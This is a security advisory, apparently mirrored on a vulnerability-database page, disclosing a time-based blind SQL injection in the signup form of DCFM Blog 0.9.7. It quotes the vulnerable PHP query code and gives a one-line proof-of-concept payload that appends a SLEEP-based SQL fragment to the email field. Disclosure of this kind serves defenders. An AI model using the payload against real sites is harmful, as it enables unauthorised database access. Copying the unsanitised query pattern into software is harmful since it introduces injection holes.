Lucene search
K

DCFM Blog 0.9.7 Blind SQL Injection

🗓️ 17 Nov 2016 00:00:00Reported by N_AType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 52 Views

DCFM Blog 0.9.7 Blind SQL Injection Vulnerability in signup.ph

Code
`DCFM Blog Version 0.9.7 Blind SQL Injection Vulnerability ( time based-attack )  
================================================================================  
  
  
  
Discovered by N_A , N_A[at]tutanota.com  
========================================  
  
  
  
  
Description  
============  
  
Open-source blog project. Free blog system for any website. Uses MySQL and PHP 5. Very easily customizable and incredibly flexible.  
  
https://sourceforge.net/projects/dcfm-blog/  
  
  
  
  
Vulnerability  
==============  
  
A blind SQL Injection is possible within the signup.php file of DCFM Blog version 0.9.7.  
  
  
  
$desuser = $_POST['desuser'];  
$despass = $_POST['despass'];  
$email = $_POST['email']; <---- The vulnerable variable  
$firstname = $_POST['firstname'];  
$lastname = $_POST['lastname'];  
$submitted = $_POST['submitted'];  
$despassconfirm = $_POST['despassconfirm'];  
  
  
  
The $email variable is not properly checked as the regex does not stop additional characters from being added once the variable matches a valid email format:  
  
if(!ereg("^.+@.+\\..+$",$email)) {  
$evil = 1;  
$error="<p>  
The highlighted fields are not filled out correctly.  
</p>";   
  
  
  
the '.+' part of the regular expression will match "one or more of any character" . It is then possible to attached a crafted SQL Injection string to the end of the $email variable.  
  
The crafted string is fed directly into the MySql database:  
  
$result = mysql_query("SELECT * FROM accounts  
WHERE Email='$_POST[email]'");  
while($row = mysql_fetch_array($result)) {  
if ($email == $row['Email'])  
  
  
  
  
  
  
Proof Of Concept Exploit String  
================================  
  
  
  
Fill out the whole form and input the email variable as follows:  
  
[email protected]' AND (SELECT * FROM (SELECT(SLEEP(5)))MXKf) AND 'dBWQ'='dBWQ  
  
  
  
  
  
Email  
=====  
  
N_A[at]tutanota.com  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Nov 2016 00:00Current
0.4Low risk
Vulners AI Score0.4
52